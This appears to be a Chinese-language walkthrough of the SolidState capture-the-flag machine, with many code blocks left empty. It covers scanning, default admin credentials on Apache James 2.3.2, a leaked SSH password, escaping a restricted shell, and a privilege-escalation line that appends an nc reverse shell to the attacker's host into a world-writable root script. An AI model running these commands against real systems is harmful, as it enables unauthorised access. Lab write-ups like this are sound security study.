SolidState(Java Apache Mail server命令执行)
scan
1 |
|
80
1 |
|
25,简单网络管理协议
这个应该有点意思,nmap --script=auth 192.168.2.135
1 |
|
- try2:
nmap --script smtp-enum-users.nse -p 25 192.168.2.135
smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 25 192.168.2.135
稍微手工找了一下,nikto、nmap、paros爬行扫描了,但没有什么头绪。
用nessus、appscan扫描下。
apache- options内存泄露
Apache httpd 2.4.25 ((Debian)) https://www.exploit-db.com/exploits/42745 https://www.cvedetails.com/google-search-results.php?q=2017-9798
CVE-2017-3167
https://www.cvedetails.com/cve/CVE-2017-3167/?q=CVE-2017-3167
突破点
1 |
|
google找到了这个服务的命令执行exp,一看版本也对,于是运行一下。
运行完了,不知道是什么情况,提示为“Payload will be executed once somebody logs in.”,于是查看下python脚本。
应该是成功运行的,但没有反弹shell,(⊙﹏⊙)
google下这是什么服务,JAMES Remote Admin 2.3.2
https://wiki.apache.org/james/JamesQuickstart
了解到通过telnet连接,命令台控制。哦哦,了解,能用telnet的就能用nc。用root/root作为口令,成功登入。
1 |
|
user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin
分析一下
Currently implemented commands:
1 |
|
查看了以上的命令,貌似不能反弹一个shell。
CVE-2015-7611
找到了一个关于该漏洞的介绍。 https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf
该漏洞,在下一次有用户登陆时候,攻击载荷才会执行。那么这个虚拟机岂不是不能直接命令执行了。不会了,看看wp。
1 |
|
1 |
|
依次登陆6个用户,因为密码已经被改为a了。
登陆../../../../../../../../etc/bash_completion.d,这个用户的时候,发现有两条邮件,正是我执行python exploit的时候发送的。
info–mail
1 |
|
1 |
|
准备提权
ssh mindy@192.168.2.135
P@55W0rd1!2@
当我看到whoami命令,提示-rbash: $'\r': command not found
于是输入help
1 |
|
这个限制的shell,让我想起了以前遇到的echo os.system('/bin/bash')
又让我想起了bash破壳漏洞,但是GNU bash, version 4.4.12,版本好像不对。
我想了好久,也没有找到突破rbash的任何方式。
突破限制的shell
一看别人做的,Apparently, you can just execute commands through SSH directly and they will not go through the restricted shell
,apparently,这个词严重打击了我的信心(==)
1 |
|
得到了一个普通权限的shell,( )。゜zzZ真的不容易啊
第二种获得bash-shell的方式
1 |
|
信息搜集
gcc没有;suid检查;sudo检查;root权限进程检查
于是四处转悠一下
/var/backups
1 |
|
1 |
|
在/opt路径下,有一个py脚本,被我忽略了。
重点是rwxrwxrwx
,第三个rwx,说明其他用户也有可读可写可执行权限。
1 |
|
提权
cd /opt;echo “os.system(‘/bin/nc -e /bin/bash 192.168.2.128 8001’)” » tmp.py
我说为啥一开始传LinEnum.sh的时候,文件老是不见了呢==
原来是删除/tmp的进程做的。
参考资料:
总结:
因为全端口扫描需要花点时间,所以先进行常见端口扫描。
写了一个脚本,懒得每次输命令==
1 |
|
- 内核提权检查之前,先检查是否有编译器